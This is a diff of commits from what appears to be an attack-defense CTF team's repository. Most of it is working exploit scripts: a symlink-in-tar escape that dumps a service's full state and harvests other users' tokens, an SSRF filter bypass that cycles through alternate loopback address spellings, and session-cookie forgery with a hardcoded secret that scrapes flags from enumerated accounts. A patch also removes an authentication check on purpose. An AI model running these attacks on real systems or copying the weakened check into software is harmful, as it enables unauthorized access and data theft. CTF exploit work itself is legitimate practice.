Compare commits

...
Author SHA1 Message Date
takuya e112480339 Merge pull request 'orbital-navigation: add host-only state dump sploit' (#7) from exploit/orbital-host-only-state-dump into main
Reviewed-on: #7
2026-10-25 12:10:22 +03:00
takuya f09895d65e Merge pull request 'Fix/starpost promo gate' (#6) from fix/starpost-promo-gate into main
Reviewed-on: #6
2026-10-25 12:04:36 +03:00
scandal 98ad0ae2de Merge branch 'main' into fix/starpost-promo-gate 2026-10-25 12:03:45 +03:00
takuya e06fd3d9ed Merge pull request 'starpost: harden exploit runtime and extraction' (#5) from exploit/starpost-bounded-output-v2 into main
Reviewed-on: #5
2026-10-25 12:02:20 +03:00
Мария Янова 36c5a18577 orbital-navigation: add host-only state dump sploit 2026-10-25 12:01:26 +03:00
scandalist-trash b72544209c starpost: harden exploit runtime and extraction 2026-10-25 05:01:07 -04:00
TakuyaYagam1 ecd6d55523 starpost: restrict cargo to first order 2026-10-25 11:55:50 +03:00
scandalist-trash ef120ca5a5 Merge remote-tracking branch 'origin/main' into fix/starpost-promo-gate 2026-10-25 04:50:39 -04:00
scandalist-trash 7e96966188 starpost: require finalized promo before purchase 2026-10-25 04:50:33 -04:00
takuya dca8f2a827 Merge pull request 'starpost: add bounded non-DoS exploits' (#4) from exploit/starpost-nondos into main
Reviewed-on: #4
2026-10-25 11:44:02 +03:00
scandalist-trash 5d0f36c7f4 starpost: add bounded non-DoS exploits 2026-10-25 04:42:12 -04:00
shira 9f25b29140 starpost: add bounded market exploit and incident handoff 2026-10-25 11:40:12 +03:00
takuya c2fc0cb8cf Merge pull request 'orbital-navigation: add unspecified-address SSRF bypass' (#3) from exploit/orbital-ssrf-unspecified into main
Reviewed-on: #3
2026-10-25 11:26:57 +03:00
Мария Янова caf4a2430c Merge remote-tracking branch 'origin/main' into exploit/orbital-ssrf-unspecified 2026-10-25 11:24:51 +03:00
Мария Янова 2f5892d323 orbital-navigation: add unspecified-address SSRF bypass 2026-10-25 11:23:40 +03:00
shira 143182a27c lighthouse: restore checker-compatible public filter compilation 2026-10-25 11:12:13 +03:00
takuya 76b5e01dac Merge pull request 'orbital-navigation: add object-hint sploit' (#2) from exploit/orbital-navigation into main
Reviewed-on: #2
2026-10-25 11:03:13 +03:00
13 changed files with 1384 additions and 82 deletions

No files matched your search

+2 -2
View File
@@ -2,13 +2,13 @@
Исходный сервис: `takuya/go-ctf`, `main`, commit `4f70df55dd822880f4759d553f7ed249166cad86`. Этот каталог содержит локально проверенный кандидат исправлений; push исходников **не является выкладкой** на игровую vulnbox. Исходный сервис: `takuya/go-ctf`, `main`, commit `4f70df55dd822880f4759d553f7ed249166cad86`. Этот каталог содержит локально проверенный кандидат исправлений; push исходников **не является выкладкой** на игровую vulnbox.
- L-02: загрузка фильтра требует `X-Queue-Key`; браузер передаёт ключ. - L-02: отправка исходника фильтра снова доступна без `X-Queue-Key`, как в исходном API: официальный CHECK вызывает её без заголовка и отвечавший `403` приводил к `DOWN`. Остальные проверки ключа сохранены. Публичная отправка фильтра остаётся риском нагрузки и вытеснения истории ревизий.
- L-03: чтение сообщений выдаёт страницы по 128 и помечает прочитанными только выданные записи. - L-03: чтение сообщений выдаёт страницы по 128 и помечает прочитанными только выданные записи.
- L-01: истёкшие записи удаляются ограниченными порциями, отдельный журнал ограничен 512 KiB. Создание множества очередей всё ещё может расходовать хранилище. - L-01: истёкшие записи удаляются ограниченными порциями, отдельный журнал ограничен 512 KiB. Создание множества очередей всё ещё может расходовать хранилище.
- L-04: журнал закрыт для процесса компилятора правами 0700/0600. Локально `#include` и `.incbin` больше не читают его. - L-04: журнал закрыт для процесса компилятора правами 0700/0600. Локально `#include` и `.incbin` больше не читают его.
- L-05: формат шифрования и индивидуальные `read_key` сохранены для совместимости со старыми данными. - L-05: формат шифрования и индивидуальные `read_key` сохранены для совместимости со старыми данными.
На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Официальный checker и игровой том не проверены. Изменения контракта `POST /filter` и чтения более 128 сообщений требуют отдельной проверки CHECK/PUT/GET перед выкладкой. На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Пассивное наблюдение официального CHECK 25.10.2026 показало `POST /filter` без ключа и ответ `403` текущего образа; исправление совместимости требует проверки следующим раундом после выкладки. Игровой том этим локальным тестом не проверялся. Изменение чтения более 128 сообщений также требует проверки CHECK/PUT/GET.
**Известный риск DOWN:** Dockerfile устанавливает Debian bookworm `libcpp-httplib-dev` / `libcpp-httplib0.11` версии `0.11.4+ds-1+deb12u1`. [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2026-45352) отмечает эту версию уязвимой к CVE-2026-45352 (отказ в обслуживании при некорректном chunked-запросе); [описание разработчика](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-h6wq-j5mv-f3q8) указывает исправление в 0.43.4. Кроме того, [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2025-53628) помечает ту же bookworm-сборку уязвимой к CVE-2025-53628: неограниченная длина строки HTTP-запроса может вызвать расход памяти и отказ в обслуживании до обработки запроса приложением. Лимит `set_payload_max_length(32768)` ограничивает тело, а не эту строку; более того, [CVE-2025-46728](https://security-tracker.debian.org/tracker/CVE-2025-46728) позволяет обойти и сам лимит тела через chunked-запрос в этой версии `cpp-httplib`. Данный кандидат эти риски не устраняет. Перед игровым переключением нужна отдельная проверенная замена зависимости и тесты совместимости; простой `apt upgrade` внутри bookworm не подтверждает исправление. **Известный риск DOWN:** Dockerfile устанавливает Debian bookworm `libcpp-httplib-dev` / `libcpp-httplib0.11` версии `0.11.4+ds-1+deb12u1`. [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2026-45352) отмечает эту версию уязвимой к CVE-2026-45352 (отказ в обслуживании при некорректном chunked-запросе); [описание разработчика](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-h6wq-j5mv-f3q8) указывает исправление в 0.43.4. Кроме того, [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2025-53628) помечает ту же bookworm-сборку уязвимой к CVE-2025-53628: неограниченная длина строки HTTP-запроса может вызвать расход памяти и отказ в обслуживании до обработки запроса приложением. Лимит `set_payload_max_length(32768)` ограничивает тело, а не эту строку; более того, [CVE-2025-46728](https://security-tracker.debian.org/tracker/CVE-2025-46728) позволяет обойти и сам лимит тела через chunked-запрос в этой версии `cpp-httplib`. Данный кандидат эти риски не устраняет. Перед игровым переключением нужна отдельная проверенная замена зависимости и тесты совместимости; простой `apt upgrade` внутри bookworm не подтверждает исправление.
-2
View File
@@ -170,7 +170,6 @@ static void filter_routes(httplib::Server& server) {
{ {
std::lock_guard guard(db_lock); std::lock_guard guard(db_lock);
require_queue(id); require_queue(id);
require_key(request);
} }
auto artifact = filters::compile(source); auto artifact = filters::compile(source);
auto state = artifact.ready ? "ready" : "rejected"; auto state = artifact.ready ? "ready" : "rejected";
@@ -179,7 +178,6 @@ static void filter_routes(httplib::Server& server) {
std::lock_guard guard(db_lock); std::lock_guard guard(db_lock);
Transaction transaction(db); Transaction transaction(db);
require_queue(id); require_queue(id);
require_key(request);
Statement insert(db, R"SQL( Statement insert(db, R"SQL(
INSERT INTO filter_revisions(queue_id,label,state,wasm_path,compiler_output,source,listing,created_at) INSERT INTO filter_revisions(queue_id,label,state,wasm_path,compiler_output,source,listing,created_at)
VALUES(?,?,?,?,?,?,?,?) VALUES(?,?,?,?,?,?,?,?)
+2 -3
View File
@@ -127,11 +127,10 @@ def main():
api("POST", path + "/messages", {"message": "bmV3IHN5bnRoZXRpYyBtZXNzYWdl"}, expected=201) api("POST", path + "/messages", {"message": "bmV3IHN5bnRoZXRpYyBtZXNzYWdl"}, expected=201)
check(len(api("GET", path + "/messages", key=queue["read_key"])["messages"]) == 1, check(len(api("GET", path + "/messages", key=queue["read_key"])["messages"]) == 1,
"old active filter rejected a normal new message") "old active filter rejected a normal new message")
api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"}, expected=403) public_compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"})
check(public_compiled["ok"] is True, "public filter compilation contract changed")
api("POST", "/api/queues/00000000-0000-0000-0000-000000000000/filter", api("POST", "/api/queues/00000000-0000-0000-0000-000000000000/filter",
{"source": SOURCE, "label": "missing queue"}, expected=404) {"source": SOURCE, "label": "missing queue"}, expected=404)
api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"},
key="0" * 48, expected=403)
compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"}, compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"},
key=queue["read_key"]) key=queue["read_key"])
check(compiled["ok"] is True, "compilation contract changed after restart") check(compiled["ok"] is True, "compilation contract changed after restart")
+324 -16
View File
@@ -9,6 +9,9 @@ import os
import re import re
import sys import sys
import tarfile import tarfile
import tempfile
import time
from pathlib import Path
from urllib.error import HTTPError, URLError from urllib.error import HTTPError, URLError
from urllib.parse import quote, unquote, urlsplit, urlunsplit from urllib.parse import quote, unquote, urlsplit, urlunsplit
from urllib.request import Request, urlopen from urllib.request import Request, urlopen
@@ -16,10 +19,24 @@ from urllib.request import Request, urlopen
TARGET_SCHEME = "http" TARGET_SCHEME = "http"
SERVICE_PORT = 8086 SERVICE_PORT = 8086
REQUEST_TIMEOUT = 2.0 REQUEST_TIMEOUT = 2.0
MAX_RESPONSE = 256 * 1024 MAX_RESPONSE = 8 * 1024 * 1024
MAX_STATE_RESPONSE = 64 * 1024 * 1024
MAX_OBJECTS = 6 MAX_OBJECTS = 6
MAX_STATE_FLIGHTS = 512
TOTAL_RUNTIME = 7.0
IMPORTER_KEY = "orbit-importer-service-key" IMPORTER_KEY = "orbit-importer-service-key"
ID_PATTERN = re.compile(r"\b(?:ship|flight|summary|grant)-[0-9a-fA-F]{32}\b") ID_PATTERN = re.compile(
r"\b(?:ship|flight|summary|grant)-[0-9a-f]{32}\b", re.IGNORECASE
)
CONTEXT_PATTERNS = {
"token": re.compile(r"token-[0-9a-f]{32}\Z"),
"ship_id": re.compile(r"ship-[0-9a-f]{32}\Z"),
"profile_id": re.compile(r"profile-[0-9a-f]{32}\Z"),
"flight_id": re.compile(r"flight-[0-9a-f]{32}\Z"),
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
}
TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE)
STATE_DUMP_MARKER = "orbital-state-dump"
class ExploitError(Exception): class ExploitError(Exception):
@@ -47,29 +64,36 @@ def parse_target(target: str) -> tuple[str, str]:
raise ValueError("target address must not include query or fragment") raise ValueError("target address must not include query or fragment")
port = parsed.port port = parsed.port
if port is None: if port is None:
port = 443 if explicit_scheme and parsed.scheme == "https" else 80 if explicit_scheme else SERVICE_PORT port = 443 if parsed.scheme == "https" else SERVICE_PORT
if not 1 <= port <= 65535: if not 1 <= port <= 65535:
raise ValueError("invalid target port") raise ValueError("invalid target port")
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
def request(base: str, path: str, method: str = "GET", body: bytes | None = None, headers=None) -> tuple[int, bytes]: def request(
base: str,
path: str,
method: str = "GET",
body: bytes | None = None,
headers=None,
max_response: int = MAX_RESPONSE,
) -> tuple[int, bytes]:
request_headers = {"User-Agent": "orbital-navigation/1.0", "Accept": "application/json"} request_headers = {"User-Agent": "orbital-navigation/1.0", "Accept": "application/json"}
if headers: if headers:
request_headers.update(headers) request_headers.update(headers)
req = Request(base + path, data=body, headers=request_headers, method=method) req = Request(base + path, data=body, headers=request_headers, method=method)
try: try:
with urlopen(req, timeout=REQUEST_TIMEOUT) as response: with urlopen(req, timeout=REQUEST_TIMEOUT) as response:
data = response.read(MAX_RESPONSE + 1) data = response.read(max_response + 1)
if len(data) > MAX_RESPONSE: if len(data) > max_response:
raise ValueError("response too large") raise ValueError("response too large")
return response.status, data return response.status, data
except HTTPError as exc: except HTTPError as exc:
return exc.code, exc.read(MAX_RESPONSE) return exc.code, exc.read(max_response)
def rpc(base: str, action: str, **fields): def rpc(base: str, action: str, _response_limit: int = MAX_RESPONSE, **fields):
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode() payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
status, raw = request( status, raw = request(
base, base,
@@ -77,6 +101,7 @@ def rpc(base: str, action: str, **fields):
method="POST", method="POST",
body=payload, body=payload,
headers={"Content-Type": "application/json"}, headers={"Content-Type": "application/json"},
max_response=_response_limit,
) )
try: try:
document = json.loads(raw) document = json.loads(raw)
@@ -150,6 +175,273 @@ def symlink_tar(name: str, target: str) -> bytes:
return output.getvalue() return output.getvalue()
def state_dump_tar(flight_id: str) -> bytes:
output = io.BytesIO()
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
escape = tarfile.TarInfo("escape")
escape.type = tarfile.SYMTYPE
escape.linkname = "/data"
archive.addfile(escape)
state_link = tarfile.TarInfo("escape/state.json.tmp")
state_link.type = tarfile.SYMTYPE
state_link.linkname = f"/data/navigation/{flight_id}.txt"
archive.addfile(state_link)
report = b"ok"
entry = tarfile.TarInfo("report.txt")
entry.size = len(report)
archive.addfile(entry, io.BytesIO(report))
return output.getvalue()
def context_path(base: str) -> Path:
configured = os.environ.get("ORBITAL_STATE_DIR")
root = (
Path(configured)
if configured
else Path(tempfile.gettempdir()) / "goctf-orbital-navigation-v2"
)
if os.name == "nt":
root.mkdir(parents=True, exist_ok=True)
else:
root.mkdir(mode=0o700, parents=True, exist_ok=True)
root.chmod(0o700)
name = hashlib.sha256(base.encode()).hexdigest() + ".json"
return root / name
def valid_context(document, base: str) -> bool:
return (
isinstance(document, dict)
and document.get("base") == base
and all(
isinstance(document.get(key), str) and pattern.fullmatch(document[key])
for key, pattern in CONTEXT_PATTERNS.items()
)
)
def load_context(base: str):
try:
document = json.loads(context_path(base).read_text(encoding="utf-8"))
except (OSError, ValueError):
return None
return document if valid_context(document, base) else None
def save_context(base: str, context) -> None:
path = context_path(base)
document = {"base": base, **context}
temporary = None
try:
with tempfile.NamedTemporaryFile(
mode="w",
encoding="utf-8",
dir=path.parent,
prefix=path.name + ".",
delete=False,
) as handle:
temporary = Path(handle.name)
json.dump(document, handle, separators=(",", ":"))
if os.name != "nt":
temporary.chmod(0o600)
os.replace(temporary, path)
finally:
if temporary is not None:
try:
temporary.unlink()
except OSError:
pass
def discard_context(base: str) -> None:
try:
context_path(base).unlink()
except OSError:
pass
def create_host_context(base: str):
token = register(base)
ship_id = rpc(base, "create_ship", token=token)["ship_id"]
profile_id = rpc(base, "create_profile", token=token, ship_id=ship_id)["profile_id"]
flight_id = rpc(
base,
"create_flight",
token=token,
geometry=STATE_DUMP_MARKER,
map_version=STATE_DUMP_MARKER,
options=STATE_DUMP_MARKER,
manifest=STATE_DUMP_MARKER,
navigation=STATE_DUMP_MARKER,
)["flight_id"]
package_id = rpc(base, "create_package", token=token)["package_id"]
context = {
"token": token,
"ship_id": ship_id,
"profile_id": profile_id,
"flight_id": flight_id,
"package_id": package_id,
}
try:
save_context(base, context)
except OSError as exc:
print(f"state cache unavailable: {exc}", file=sys.stderr)
return context
def trigger_persist(base: str, context) -> None:
rpc(
base,
"edit_profile",
token=context["token"],
profile_id=context["profile_id"],
ship_id=context["ship_id"],
)
def dump_state(base: str, context) -> str:
upload_package(
base,
context["package_id"],
context["token"],
regular_tar("report.txt", b"approved"),
)
rpc(base, "approve_package", token=context["token"], package_id=context["package_id"])
upload_package(
base,
context["package_id"],
context["token"],
state_dump_tar(context["flight_id"]),
)
rpc(
base,
"generate_report",
token=context["token"],
package_id=context["package_id"],
attachment="report.txt",
)
try:
trigger_persist(base, context)
result = rpc(
base,
"read_navigation",
_response_limit=MAX_STATE_RESPONSE,
token=context["token"],
flight_id=context["flight_id"],
)
navigation = result.get("navigation") if isinstance(result, dict) else None
if not isinstance(navigation, str):
raise ExploitError("state dump: missing navigation")
return navigation
finally:
try:
trigger_persist(base, context)
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"state persistence cleanup: {exc}", file=sys.stderr)
def state_payloads(state) -> list[str]:
values: list[str] = []
messages = state.get("messages", {})
if isinstance(messages, dict):
for items in messages.values():
if isinstance(items, list):
values.extend(item for item in items if isinstance(item, str))
jobs = state.get("jobs", {})
if isinstance(jobs, dict):
for job in jobs.values():
result = job.get("result") if isinstance(job, dict) else None
if isinstance(result, list):
values.extend(item for item in result if isinstance(item, str))
flights = state.get("flights", {})
if isinstance(flights, dict):
for flight in flights.values():
if not isinstance(flight, dict):
continue
for key in ("geometry", "map_version", "options", "manifest"):
value = flight.get(key)
if isinstance(value, str):
values.append(value)
summaries = state.get("summaries", {})
if isinstance(summaries, dict):
for summary in summaries.values():
content = summary.get("content") if isinstance(summary, dict) else None
if isinstance(content, str):
values.append(content)
imports = state.get("imports", {})
if isinstance(imports, dict):
for item in imports.values():
if isinstance(item, list) and len(item) == 2 and isinstance(item[1], str):
values.append(item[1])
return values
def exploit_host_only(base: str, deadline: float) -> list[str]:
context = load_context(base)
if context is None:
context = create_host_context(base)
try:
raw_state = dump_state(base, context)
except ExploitError as exc:
stale_markers = (
"invalid token",
"unknown ship",
"unknown profile",
"unknown flight",
"unknown package",
)
if not any(marker in str(exc) for marker in stale_markers):
raise
discard_context(base)
context = create_host_context(base)
raw_state = dump_state(base, context)
try:
state = json.loads(raw_state)
except ValueError as exc:
raise ExploitError("state dump: invalid JSON") from exc
if not isinstance(state, dict):
raise ExploitError("state dump: invalid state")
loot = state_payloads(state)
users = state.get("users", {})
flights = state.get("flights", {})
owner_tokens = {}
if isinstance(users, dict):
for token, owner in users.items():
if isinstance(token, str) and isinstance(owner, str):
owner_tokens.setdefault(owner, token)
checked = 0
if isinstance(flights, dict):
for flight_id, flight in flights.items():
if checked >= MAX_STATE_FLIGHTS or time.monotonic() >= deadline:
break
if not isinstance(flight_id, str) or not isinstance(flight, dict):
continue
if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER:
continue
token = owner_tokens.get(flight.get("owner"))
if not isinstance(token, str):
continue
checked += 1
try:
result = rpc(base, "read_navigation", token=token, flight_id=flight_id)
navigation = result.get("navigation") if isinstance(result, dict) else None
if isinstance(navigation, str):
try:
nested_state = json.loads(navigation)
except ValueError:
nested_state = None
state_keys = {"users", "ships", "messages", "flights", "packages"}
if isinstance(nested_state, dict) and state_keys.issubset(nested_state):
loot.extend(state_payloads(nested_state))
else:
loot.append(navigation)
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError):
continue
print(f"state dump navigation reads: {checked}", file=sys.stderr)
sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item)
return list(dict.fromkeys(item for item in sanitized if item))
def upload_package(base: str, package_id: str, token: str, content: bytes) -> None: def upload_package(base: str, package_id: str, token: str, content: bytes) -> None:
status, raw = request( status, raw = request(
base, base,
@@ -158,14 +450,12 @@ def upload_package(base: str, package_id: str, token: str, content: bytes) -> No
body=content, body=content,
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/octet-stream"}, headers={"Authorization": f"Bearer {token}", "Content-Type": "application/octet-stream"},
) )
if status != 200:
raise ExploitError(f"package upload: HTTP {status}")
try: try:
document = json.loads(raw) document = json.loads(raw)
except (TypeError, ValueError) as exc: except (TypeError, ValueError) as exc:
raise ExploitError("package upload: invalid response") from exc raise ExploitError("package upload: invalid response") from exc
if not document.get("ok"): if status != 200 or not document.get("ok"):
raise ExploitError("package upload failed") raise ExploitError(f"package upload: {document.get('error', f'HTTP {status}')}")
def exploit_flight_cache(base: str, flight_id: str) -> list[str]: def exploit_flight_cache(base: str, flight_id: str) -> list[str]:
@@ -211,14 +501,31 @@ def exploit_summary(base: str, summary_id: str) -> list[str]:
if status == 200: if status == 200:
return [raw.decode("utf-8", errors="replace")] return [raw.decode("utf-8", errors="replace")]
token = register(base) token = register(base)
last_error = None
for internal_host in (
"0.0.0.0",
"0",
"0000",
"0x0",
"::ffff:127.0.0.1",
"::ffff:7f00:1",
"::ffff:0.0.0.0",
):
try:
result = rpc( result = rpc(
base, base,
"import_bulletin", "import_bulletin",
token=token, token=token,
url=f"http://127.1:8080{path}", url=f"http://{internal_host}:8080{path}",
) )
content = result.get("content") if isinstance(result, dict) else None content = result.get("content") if isinstance(result, dict) else None
return [content] if isinstance(content, str) else [] if isinstance(content, str):
return [content]
except ExploitError as exc:
last_error = exc
if last_error:
raise last_error
return []
def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]: def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
@@ -243,10 +550,11 @@ def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
def run_exploit(target: str) -> list[str]: def run_exploit(target: str) -> list[str]:
started = time.monotonic()
base, hint = parse_target(target) base, hint = parse_target(target)
identifiers = list(dict.fromkeys(match.group(0).lower() for match in ID_PATTERN.finditer(hint))) identifiers = list(dict.fromkeys(match.group(0).lower() for match in ID_PATTERN.finditer(hint)))
if not identifiers: if not identifiers:
raise ValueError("checker hint with an orbital object id is required") return exploit_host_only(base, started + TOTAL_RUNTIME)
ships = [value for value in identifiers if value.startswith("ship-")][:MAX_OBJECTS] ships = [value for value in identifiers if value.startswith("ship-")][:MAX_OBJECTS]
flights = [value for value in identifiers if value.startswith("flight-")][:MAX_OBJECTS] flights = [value for value in identifiers if value.startswith("flight-")][:MAX_OBJECTS]
summaries = [value for value in identifiers if value.startswith("summary-")][:MAX_OBJECTS] summaries = [value for value in identifiers if value.startswith("summary-")][:MAX_OBJECTS]
@@ -282,7 +590,7 @@ def run_exploit(target: str) -> list[str]:
def main() -> int: def main() -> int:
if len(sys.argv) != 2: if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST#CHECKER_HINT", file=sys.stderr) print(f"Usage: {sys.argv[0]} HOST[#CHECKER_HINT]", file=sys.stderr)
return 2 return 2
try: try:
loot = run_exploit(sys.argv[1]) loot = run_exploit(sys.argv[1])
+61 -15
View File
@@ -7,6 +7,7 @@ import concurrent.futures
import hashlib import hashlib
import hmac import hmac
import json import json
import re
import secrets import secrets
import sys import sys
import time import time
@@ -17,10 +18,12 @@ from urllib.request import HTTPRedirectHandler, Request, build_opener
TARGET_SCHEME = "http" TARGET_SCHEME = "http"
SERVICE_PORT = 8090 SERVICE_PORT = 8090
REQUEST_TIMEOUT = 2.0 REQUEST_TIMEOUT = 2.0
TOTAL_TIMEOUT = 8.0
MAX_RESPONSE = 128 * 1024 MAX_RESPONSE = 128 * 1024
RECENT_USER_WINDOW = 32 RECENT_USER_WINDOW = 32
MAX_WORKERS = 8 MAX_WORKERS = 8
SESSION_SECRET = "starpost-development-session-key-change-before-production" SESSION_SECRET = "starpost-development-session-key-change-before-production"
FLAG_RE = re.compile(rb"[A-Z0-9]{31}=")
class NoRedirects(HTTPRedirectHandler): class NoRedirects(HTTPRedirectHandler):
@@ -64,7 +67,14 @@ def forge_session(user_id: int, role: str) -> str:
return (value + b"." + b64(signature)).decode() return (value + b"." + b64(signature)).decode()
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None): def request(
base: str,
path: str,
method: str = "GET",
payload=None,
cookie: str | None = None,
timeout: float = REQUEST_TIMEOUT,
):
body = json.dumps(payload).encode() if payload is not None else None body = json.dumps(payload).encode() if payload is not None else None
headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"} headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"}
if body is not None: if body is not None:
@@ -74,33 +84,50 @@ def request(base: str, path: str, method: str = "GET", payload=None, cookie: str
req = Request(base + path, data=body, headers=headers, method=method) req = Request(base + path, data=body, headers=headers, method=method)
opener = build_opener(NoRedirects()) opener = build_opener(NoRedirects())
try: try:
with opener.open(req, timeout=REQUEST_TIMEOUT) as response: with opener.open(req, timeout=timeout) as response:
data = response.read(MAX_RESPONSE + 1) data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE: if len(data) > MAX_RESPONSE:
raise ValueError("response too large") raise ValueError("response too large")
return response.status, data return response.status, data
except HTTPError as exc: except HTTPError as exc:
return exc.code, exc.read(MAX_RESPONSE) data = exc.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return exc.code, data
def register_probe(base: str) -> int: def register_probe(base: str, deadline: float) -> int:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("overall deadline exceeded")
marker = secrets.token_hex(8) marker = secrets.token_hex(8)
status, raw = request( status, raw = request(
base, base,
"/api/register", "/api/register",
method="POST", method="POST",
payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"}, payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
timeout=min(REQUEST_TIMEOUT, remaining),
) )
if status != 201: if status != 201:
raise ValueError(f"registration returned HTTP {status}") raise ValueError(f"registration returned HTTP {status}")
return int(json.loads(raw)["id"]) return int(json.loads(raw)["id"])
def collect_identity(base: str, user_id: int) -> list[bytes]: def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
def fetch(path: str, cookie: str):
remaining = deadline - time.monotonic()
if remaining <= 0:
return None
try:
return request(base, path, cookie=cookie, timeout=min(REQUEST_TIMEOUT, remaining))
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
return None
probe_cookie = forge_session(user_id, "seller") probe_cookie = forge_session(user_id, "seller")
status, raw = request(base, "/api/me", cookie=probe_cookie) response = fetch("/api/me", probe_cookie)
if status != 200: if response is None or response[0] != 200:
return [] return []
_, raw = response
try: try:
identity = json.loads(raw) identity = json.loads(raw)
except (TypeError, ValueError): except (TypeError, ValueError):
@@ -116,9 +143,12 @@ def collect_identity(base: str, user_id: int) -> list[bytes]:
contract_file = identity.get("contract_file") contract_file = identity.get("contract_file")
if role == "seller" and isinstance(contract_file, str) and contract_file: if role == "seller" and isinstance(contract_file, str) and contract_file:
paths.append("/api/contract?file=" + quote(contract_file, safe="")) paths.append("/api/contract?file=" + quote(contract_file, safe=""))
output = [] output = [raw]
for path in paths: for path in paths:
status, data = request(base, path, cookie=cookie) response = fetch(path, cookie)
if response is None:
continue
status, data = response
if status == 200 and data: if status == 200 and data:
output.append(data) output.append(data)
return output return output
@@ -126,14 +156,29 @@ def collect_identity(base: str, user_id: int) -> list[bytes]:
def run_exploit(target: str) -> str: def run_exploit(target: str) -> str:
base = build_base_url(target) base = build_base_url(target)
newest = register_probe(base) deadline = time.monotonic() + TOTAL_TIMEOUT
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest) newest = register_probe(base, deadline)
user_ids = list(range(newest - 1, max(0, newest - RECENT_USER_WINDOW - 1), -1))
chunks: list[bytes] = [] chunks: list[bytes] = []
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool: with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
for result in pool.map(lambda uid: collect_identity(base, uid), user_ids): futures = [pool.submit(collect_identity, base, uid, deadline) for uid in user_ids]
chunks.extend(result) try:
print(f"checked {RECENT_USER_WINDOW} recent identities", file=sys.stderr) for future in concurrent.futures.as_completed(
return b"\n".join(chunks).decode("utf-8", errors="replace") futures,
timeout=max(0.001, deadline - time.monotonic()),
):
try:
chunks.extend(future.result())
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
continue
except TimeoutError:
pass
finally:
for future in futures:
future.cancel()
flags = sorted(set(FLAG_RE.findall(b"\n".join(chunks))))
print(f"checked up to {len(user_ids)} recent identities; candidates={len(flags)}", file=sys.stderr)
return b"\n".join(flags).decode("ascii")
def main() -> int: def main() -> int:
@@ -145,6 +190,7 @@ def main() -> int:
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc: except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
print(f"request failed: {exc}", file=sys.stderr) print(f"request failed: {exc}", file=sys.stderr)
return 1 return 1
if output:
print(output, flush=True) print(output, flush=True)
return 0 return 0
+93 -14
View File
@@ -72,13 +72,17 @@ def request(
opener = build_opener(NoRedirects()) opener = build_opener(NoRedirects())
last_error: OSError | URLError | None = None last_error: OSError | URLError | None = None
for _ in range(attempts): for _ in range(attempts):
if time.monotonic() >= deadline: remaining = deadline - time.monotonic()
if remaining <= 0:
break break
try: try:
with opener.open(req, timeout=CONNECT_TIMEOUT) as response: with opener.open(req, timeout=min(CONNECT_TIMEOUT, remaining)) as response:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("run deadline exceeded")
try: try:
response.fp.raw._sock.settimeout(READ_TIMEOUT) response.fp.raw._sock.settimeout(min(READ_TIMEOUT, remaining))
except AttributeError: except (AttributeError, OSError):
pass pass
data = response.read(MAX_RESPONSE + 1) data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE: if len(data) > MAX_RESPONSE:
@@ -116,13 +120,84 @@ def register(target: str, deadline: float) -> tuple[int, str]:
if status != 201: if status != 201:
raise ValueError(f"registration returned HTTP {status}") raise ValueError(f"registration returned HTTP {status}")
data = json.loads(body) data = json.loads(body)
if not isinstance(data, dict) or "id" not in data or isinstance(data["id"], bool):
raise ValueError("registration returned an invalid user id")
try:
user_id = int(data["id"])
except (TypeError, ValueError) as exc:
raise ValueError("registration returned an invalid user id") from exc
if user_id < 1:
raise ValueError("registration returned an invalid user id")
cookies = SimpleCookie() cookies = SimpleCookie()
